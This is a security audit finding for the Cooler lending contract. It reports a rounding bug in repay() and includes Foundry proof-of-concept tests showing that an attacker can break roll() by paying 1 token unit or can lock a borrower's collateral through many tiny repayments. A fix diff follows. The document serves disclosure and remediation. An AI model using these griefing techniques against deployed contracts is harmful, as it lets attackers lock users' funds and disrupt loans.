Allarious

high

# Payment function can cause desync between `collateral` and the `amount`

## Summary
The `repay` function does not calculate the amount of  `collateral` that is related to `repaid` correctly and can cause a desync between `loan.collateral` and `loan.amount`

## Vulnerability Detail
The `repay` function can be used by the borrower or anyone in the network to repay the debt to the lender gradually. However, since the collateral calculation uses division, solidity rounds down the collateral amount, making in possible for collateral and the amount to become desynced. This is more important in two cases:

* If the `loan.amount` is much more than `loan.collateral`. In other words, the collateral token is way more valuable than the loan token.
* If the decimal points in the two ERC20 tokens is implemented differently and other than 1e18

the desync between the collateral can have side effects:

* The line below in `roll` function might underflow and disable the `roll` functionality. Any attacker in the network can break this functionality by paying a small amount of the debt. However, equation `interest + 1 < loan.amount/loan.collateral` should hold true for this attack to work. This is because the minimum payment should pay the interest and be small enough to not change the collateral. In the PoC below, attacker can pay 1e-18 of the debt token and break the funcitonality since the interest rate is zero.
```solidity
uint256 newCollateral = collateralFor(loan.amount, req.loanToCollateral) - loan.collateral;
```
* It can cause some of the collateral get locked inside the contract and not accessible by the owner or anyone else. The attacker can use this property and lock all the collateral of the borrower by paying all of the position in small payments. This means that anyone can default a position and the price is paying the position's debt to the lender + gas fees of the small transactions.

## Impact
Cooler.sol, line 115
Cooler.sol, line 140

## Code Snippet
Both of the round down bug and break the roll functionality can be found below:
```solidity
  contract testRepayRoundDown is Test {
    ERC20 public token1;
    ERC20 public token2;

    CoolerFactory public factory;
    Cooler public cooler;

    address public lender;
    address public borrower;
    address public attacker;

    uint256 LENDER_INITIAL_BALANCE = 1e20 ether;
    uint256 BORROWER_INITIAL_BALANCE = 1e20 ether;
    uint256 ATTACKER_INITIAL_BALANCE = 1e20 ether;

    function setUp() public {
        lender = vm.addr(1);
        borrower = vm.addr(2);
        attacker = vm.addr(3);

        token1 = new ERC20("token1", "TK1"); // Collateral
        token2 = new ERC20("token2", "TK2"); // Debt

        token1.mint(lender, LENDER_INITIAL_BALANCE);
        token2.mint(lender, LENDER_INITIAL_BALANCE);

        token1.mint(borrower, BORROWER_INITIAL_BALANCE);
        token2.mint(borrower, BORROWER_INITIAL_BALANCE);

        token1.mint(attacker, ATTACKER_INITIAL_BALANCE);
        token2.mint(attacker, ATTACKER_INITIAL_BALANCE);

        factory = new CoolerFactory();
        cooler = Cooler(factory.generate(token1, token2));
    }

    function testSmallPayment() public {
        vm.startPrank(borrower);
        token1.approve(address(cooler), 1e20 ether);
        uint256 reqID = cooler.request(
            1e30, // maps to 1e20 collateral
            0, // to make things easier here, interest does not matter here
            1e28, // exchange rate of 1 to 1e10!
            10 days
        );
        vm.stopPrank();

        vm.startPrank(lender);
        token2.approve(address(cooler), 1e30);
        uint256 loanID = cooler.clear(reqID); // lender takes the deal
        vm.stopPrank();

        assertEq(cooler.getCollateralOf(loanID), 1e20); // added getCollateralOf and getAmountOf as a getter function for test purposes, they fetch the collateral and amount of a loanID
        assertEq(cooler.getAmountOf(loanID), 1e30);

        /**
         * We pay one less than the threshold needed to pay to show that collateral does not decrease
         */

        address owner = address(this); // this test contract is the owner of the Cooler contract deployed

        uint256 previousBorrowerCollateralBalance = token1.balanceOf(owner);

        vm.startPrank(borrower);
        token2.approve(address(cooler), 1e30); // approving more than needed for future payments
        cooler.repay(loanID, 1e10 - 1);
        vm.stopPrank();

        // console.log(cooler.getCollateralOf(loanID));
        // console.log(cooler.getAmountOf(loanID));

        assertEq(cooler.getCollateralOf(loanID), 1e20); // collateral stays the same
        assertEq(cooler.getAmountOf(loanID), 1e30 - (1e10 - 1)); // while the amount payed decreases
        assertEq(token1.balanceOf(owner), previousBorrowerCollateralBalance);

        /**
         * Now we pay enough to show that the collateral changes
         */
        
        previousBorrowerCollateralBalance = token1.balanceOf(owner);

        vm.startPrank(borrower);
        cooler.repay(loanID, 1e10);
        vm.stopPrank(); 

        assertLt(cooler.getCollateralOf(loanID), 1e20); // collateral decreased
        assertLt(cooler.getAmountOf(loanID), 1e30 - (1e10 - 1)); // amount decreased
        assertGt(token1.balanceOf(owner), previousBorrowerCollateralBalance); // balance increase
    }

    /**
     * Breaking the roll functionality
     */
    function testBreakRollFunctionality() public {
       vm.startPrank(borrower);
        token1.approve(address(cooler), 1e20 ether);
        uint256 reqID = cooler.request(
            1e30, // maps to 1e20 collateral
            0, // Attacker should pay more than the interest of a loan position while not updating the collateral to break the roll functionality. It would happen easily with interest of 0 percent.
            1e28, // exchange rate of 1 to 1e10!
            10 days
        );
        vm.stopPrank();

        vm.startPrank(lender);
        token2.approve(address(cooler), 1e30);
        uint256 loanID = cooler.clear(reqID); // lender takes the deal
        vm.stopPrank();

        assertEq(cooler.getCollateralOf(loanID), 1e20); // added getCollateralOf and getAmountOf as a getter function for test purposes, they fetch the collateral and amount of a loanID
        assertEq(cooler.getAmountOf(loanID), 1e30); 

        vm.startPrank(attacker);
        token2.approve(address(cooler), 1); // Attacker can break the functionality by paying only 1 of the token!
        cooler.repay(loanID, 1);
        vm.stopPrank();

        vm.expectRevert(stdError.arithmeticError); // Underflow happens
        vm.prank(borrower);
        cooler.roll(loanID);
    }
}
```

## Tool used

Manual Review

## Recommendation
The main problem arises from the repay function, it can be fixed by changing the repay function according to the diff shown bellow:
```solidity
@@ -110,16 +110,18 @@ contract Cooler {
 
         if (block.timestamp > loan.expiry) 
             revert Default();
+
+       require(loan.collateral * repaid > loan.amount, "payment too low");
         
         uint256 decollateralized = loan.collateral * repaid / loan.amount;
+        uint256 repaidCorrection = decollateralized * loan.amount / loan.collateral;
+        assert(repaidCorrection <= repaid);
 
         if (repaid == loan.amount) delete loans[loanID];
         else {
-            loan.amount -= repaid;
+            loan.amount -= repaidCorrection;
             loan.collateral -= decollateralized;
         }
 
-        debt.transferFrom(msg.sender, loan.lender, repaid);
+        debt.transferFrom(msg.sender, loan.lender, repaidCorrection);
         collateral.transfer(owner, decollateralized);
     }
```
